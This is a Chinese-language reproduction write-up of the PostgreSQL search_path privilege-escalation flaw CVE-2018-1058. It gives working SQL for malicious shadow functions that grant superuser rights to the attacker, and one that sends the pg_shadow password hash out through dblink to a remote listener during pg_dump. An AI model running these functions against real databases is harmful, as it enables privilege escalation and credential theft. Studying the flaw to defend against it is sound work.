（CVE-2018-1058）PostgreSQL_提权漏洞

# （CVE-2018-1058）PostgreSQL 提权漏洞

====================================

一、漏洞简介
————

PostgreSQL
是一款关系型数据库。其9.3到10版本中存在一个逻辑错误，导致超级用户在不知情的情况下触发普通用户创建的恶意代码，导致执行一些不可预期的操作。

二、漏洞影响
————

PostgreSQL 9.3-10

三、复现过程
————

### 利用方式

在Postgres的commit记录中，有如下[commit](https://github.com/postgres/postgres/commit/5770172cb0c9df9e6ce27c507b449557e5b45124):

As special exceptions, the following client applications behave as documented
regardless of search_path settings and schema privileges: clusterdb
createdb createlang createuser dropdb droplang dropuser ecpg (not
programs it generates) initdb oid2name pg_archivecleanup pg_basebackup
pg_config pg_controldata pg_ctl pg_dump pg_dumpall pg_isready
pg_receivewal pg_recvlogical pg_resetwal pg_restore pg_rewind pg_standby
pg_test_fsync pg_test_timing pg_upgrade pg_waldump reindexdb vacuumdb
vacuumlo. Not included are core client programs that run user-specified
SQL commands, namely psql and pgbench.

上面的commit提到了两类的client
applications。下文的较为直观的利用方式一是针对第二类client
applications（比如psql），然后利用方式二是通过第一类client
applications来执行任意代码，相比较下更为隐蔽。

### 利用方式一

在系统schema`pg_catalog`中，定义了大量的函数，用pgAdmin3查看:


以函数abs系列为例，接受一个类型为bigint\\smallint\\intger\\real\\double
precision\\numeric的参数，返回其绝对值。倘若我们传送一个非数值类型的参数呢，比如text，

evil=> select abs(‘chybeta’);

由于并没有参数类型为text的abs函数，会直接报错：


但postgres提供了自定义函数的功能！我们创建如下函数：

CREATE FUNCTION public.abs(TEXT) RETURNS TEXT AS $$
SELECT ‘you are hacked by ‘ || $1;
$$ LANGUAGE SQL IMMUTABLE;

当我们再次执行同样的查询语句，根据postgres的设计流程，它会先去查找系统schema`pg_catalog`，但由于参数类型不同没有找到，接着按照`search_path`中的顺序查找，而我们定义的`abs(text)`存在于schema`public`中，参数符合，因此pg理所当然地执行了我们定义的函数:


注意一个点，这个函数是定义在schema`public`中的，也就是说对于进入到这个数据库的任何用户，只要他们调用了abs，且参数为text，都有可能会诱发恶意的代码执行。比如以超级用户postgres执行:


不过有谁会傻乎乎的去运行一个莫名其妙的abs(text)呢？因此真正的攻击手段是将过程隐藏到看似正常的数据库查询中。这次我们选择schema`pg_catalog`中的另外一类函数比如lower(text)，upper(text)，它们分别将text类型的参数转成小写和大写，不过系统没有提供接受varchar参数的lower和upper，尽管可以进行类型转换，但对pg而言，最好的选择当然是参数类型恰好符合的恶意自定义函数。

创建一个表，值的类型为varchar：

CREATE TABLE public.hahahaha AS SELECT ‘CHYBETA’::varchar AS contents;

创建对应的恶意函数:

CREATE FUNCTION public.lower(varchar) RETURNS TEXT AS $$
SELECT ‘you are hacked by ‘ || $1;
$$ LANGUAGE SQL IMMUTABLE;

对绝大部分用户而言，他们可能看大写的`CHYBETA`不爽，然后执行了lower函数，但在不知道/清楚类型的情况下，他们执行的是public中的恶意自定义函数。


只能打印`you are hacked by XXX`有毛用！！由于恶意自定义函数可以被超级用户调用到，因此也就有了相应的执行权限，最简单的比如提权。

先来看看权限情况（以超级用户为例），可以看到只有postgres的rolsuper是t，即true:


在用户chybeta登陆进evil数据库后，他创建了如下`upper函数`:

CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
ALTER ROLE chybeta SUPERUSER;
SELECT pg_catalog.upper($1);
$$ LANGUAGE SQL VOLATILE;


注意这里是`VOLATILE`，具体原因参考
[官方文档:xfunc-volatility](https://www.postgresql.org/docs/8.2/static/xfunc-volatility.html)

另外一张table，小写的chybeta:

CREATE TABLE public.hehehehe AS SELECT ‘chybeta’::varchar AS contents;

管理员一看，心中不爽：小写小写就知道小写，然后:


看上去一切正常，大写的大写。回到用户chybeta处，查看一下权限:


已经成为超级用户。

利用方法有很多，理论上只要能创建恶意函数，管理员调用，就是以管理员身份去执行恶意sql语句/代码。在这种情况中，如commit所说`Not included are core client programs that run user-specified SQL commands, namely psql and pgbench.`，被攻击用户是知道自己执行的sql语句，只是其中的某个function意义被掉包了。

### 利用方式二

安装完PostgreSQL后还会有一系列的工具，比如pg\_dump、pg\_dumpall等等。基于利用方式一，在创建了恶意函数的基础之上，可以通过这些工具来执行恶意函数。这些工具在执行过程中会动态设定`search_path`，导致`public`的优先级比`pg_catalog`高，也就是说即使是在相同类型相同参数相同函数名的情况下，会选择`public`中的函数。相比第一种而言隐蔽性更强，同时有更高的可触发性。

为利用pg\_dump中的sql语句，可以利用log来观察执行过程。在superuser的权限下`show log_directory;`找到log目录，将目录下postgresql.conf中的约莫455行改为`log_statement = all`。重启PostgreSQL后，使用pg\_dump工具执行备份命令:

pg_dump -U postgres -f evil.bak evil

同时观察log输出，查找`statement: SET search_path =`，最后在某处我发现了一段这样的log:

可以看到在这段log中，有一处的`array_to_string`是没有指定schema的。在系统schema中它的定义如下：


在这里由于已经设定了`search_path`，为了能直接适配，这里创建的恶意函数的参数个数和类型都必须和`pg_catalog`中定义的相同，倘若不同则会按顺序匹配到正确的函数。

因为pg\_dump在运行过程中开启的是`read only transaction`，根据[官方文档](https://www.postgresql.org/docs/9.1/static/sql-set-transaction.html)：

The transaction access mode determines whether the transaction is read/write or read-only. Read/write is the default. When a transaction is read-only, the following SQL commands are disallowed: INSERT, UPDATE, DELETE, and COPY FROM if the table they would write to is not a temporary table; all CREATE, ALTER, and DROP commands; COMMENT, GRANT, REVOKE, TRUNCATE; and EXPLAIN ANALYZE and EXECUTE if the command they would execute is among those listed. This is a high-level notion of read-only that does not prevent all writes to disk.

是不允许执行下类操作的:

1. INSERT, UPDATE, DELETE, COPY FROM
2. all CREATE, ALTER, and DROP commands
3. COMMENT, GRANT, REVOKE, TRUNCATE; and EXPLAIN ANALYZE and EXECUTE if
the command they would execute is among those listed

不过并没有禁止`select`语句。如果开启了dblink，则可以利用查询来带出数据，比如用dblink\_connect。因此我们创建这样的一个恶意函数：

CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select ‘hostaddr=192.168.248.132 port=12345 user=postgres password=chybeta sslmode=disable dbname=’||(SELECT passwd FROM pg_shadow WHERE usename=’postgres’)));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;

远程vps上监听：

nc -lvv 12345

当管理员进行数据库备份时：

pg_dump -U postgres -f evil.bak evil


即可得到管理员密码：


参考链接
——–

> https://xz.aliyun.com/t/2109\#toc-1